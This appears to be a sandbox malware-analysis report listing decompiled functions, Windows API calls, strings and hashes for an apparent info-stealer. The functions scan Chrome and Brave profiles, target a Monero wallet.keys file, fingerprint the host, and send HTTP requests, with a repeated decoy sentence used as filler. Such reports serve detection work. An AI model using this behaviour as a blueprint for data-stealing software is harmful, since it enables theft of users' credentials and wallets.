Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: b941de16bce35b664a174eea62fb5c23d56d163b288ec8156cc33d8b6b66e049
Instruction ID: ae524d39a889842bea924c6be054d81275775cfddee2c2e758bddce5f4699dce
Opcode Fuzzy Hash: b941de16bce35b664a174eea62fb5c23d56d163b288ec8156cc33d8b6b66e049
Instruction Fuzzy Hash: 18A16DB5901210AFD394EFA8FD8CA6AB7F9FF4E701704851AA609C7264DF399841CF12

Function 000645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0006460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0006479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0006466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0006475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000646B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0006474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0006477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000645D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000645F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000646C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000646CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000646AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000645E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0006473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000646D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000645DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000645C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0006471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00064765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0006462D

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: b0a0b44c5d3e1ec7c68e556cd56f676a771e0853890ad17f21503eaef8d5a5bd
Instruction ID: 8e33bbc53bb8d67eb40fdd6a1f8fdee9f218b611736e2d6361318293fb88484d
Opcode Fuzzy Hash: b0a0b44c5d3e1ec7c68e556cd56f676a771e0853890ad17f21503eaef8d5a5bd
Instruction Fuzzy Hash: 3641B3606CB704EBEE38B7E49CC2E9D76567F46F09F5090D8AAD05E281DBB06510C726

Function 6C6535A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

6600 @ 2.40 GHz- Cores: 2- Threads: 4- RAM: 8191 MB- Display Resolution: 1280x1024- GPU:-Microsoft Basic Display AdapterUser Agents:Installed Apps:All Users:Google Chrome - 117.0.5938.132Microsoft Edge - 117.0.2045.47Microsoft Edge Update, xrefs: 6C653868, 6C653873
GenuntelineI, xrefs: 6C653639
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
QPC, xrefs: 6C6538FC
GTC, xrefs: 6C653912
AuthcAMDenti, xrefs: 6C653946

Memory Dump Source

Source File: 00000000.00000002.2281270827.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2281233657.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281357840.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281396505.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2281419004.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: 6600 @ 2.40 GHz- Cores: 2- Threads: 4- RAM: 8191 MB- Display Resolution: 1280x1024- GPU:-Microsoft Basic Display AdapterUser Agents:Installed Apps:All Users:Google Chrome - 117.0.5938.132Microsoft Edge - 117.0.2045.47Microsoft Edge Update$AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-449104265
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 0006BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

FindFirstFileA.KERNEL32(00000000,?,00080B32,00080B2B,00000000,?,?,?,000813F4,00080B2A), ref: 0006BEF5
StrCmpCA.SHLWAPI(?,000813F8), ref: 0006BF4D
StrCmpCA.SHLWAPI(?,000813FC), ref: 0006BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0006C7BF
FindClose.KERNEL32(000000FF), ref: 0006C7D1

Strings

Google Chrome, xrefs: 0006C634
Preferences, xrefs: 0006C11E
\Brave\Preferences, xrefs: 0006C1DB
Brave, xrefs: 0006C102

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: e774f0f82b2f4b571950f96e69ca500b2c867a56879fde51e1c87a512f939b84
Instruction ID: 392da7d1b38a7f65b791bafc4a3f75f5ca607a283ea0120b30b719ee19719c6a
Opcode Fuzzy Hash: e774f0f82b2f4b571950f96e69ca500b2c867a56879fde51e1c87a512f939b84
Instruction Fuzzy Hash: 21424272E10104ABDB54FB70DD56EEE737DAF85300F40C568B50A96182EF389B49CBA6

Function 00074910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0007492C
FindFirstFileA.KERNEL32(?,?), ref: 00074943
StrCmpCA.SHLWAPI(?,00080FDC), ref: 00074971
StrCmpCA.SHLWAPI(?,00080FE0), ref: 00074987
FindNextFileA.KERNEL32(000000FF,?), ref: 00074B7D
FindClose.KERNEL32(000000FF), ref: 00074B92

Strings

%s\%s, xrefs: 000749FB
%s\%s, xrefs: 000749A4
%s\*, xrefs: 00074920

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 96408be19d24a93edeccae970c30b1157e7fda1c9337448b7717842e32533f19
Instruction ID: ecb48d9ad0fecf2385ef515c13683b5a44f6708546b8e660c5a2e3f2bc2238ca
Opcode Fuzzy Hash: 96408be19d24a93edeccae970c30b1157e7fda1c9337448b7717842e32533f19
Instruction Fuzzy Hash: A1616871900218ABCB60EBA0EC49EEE737CBF49701F048598B64D96041EF74AB49CF95

Function 00064880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Part of subcall function 000647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00064839
Part of subcall function 000647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00064849

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00064915
StrCmpCA.SHLWAPI(?,00D7E3F0), ref: 0006493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00064ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00080DDB,00000000,?,?,00000000,?,",00000000,?,00D7E2E0), ref: 00064DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00064E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00064E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00064E49
InternetCloseHandle.WININET(00000000), ref: 00064EAD
InternetCloseHandle.WININET(00000000), ref: 00064EC5
HttpOpenRequestA.WININET(00000000,00D7E3A0,?,00D7DB90,00000000,00000000,00400100,00000000), ref: 00064B15

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

InternetCloseHandle.WININET(00000000), ref: 00064ECF

Strings

", xrefs: 00064BF2
", xrefs: 00064D33
------, xrefs: 00064C69
------, xrefs: 00064B28
------, xrefs: 000649BD

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
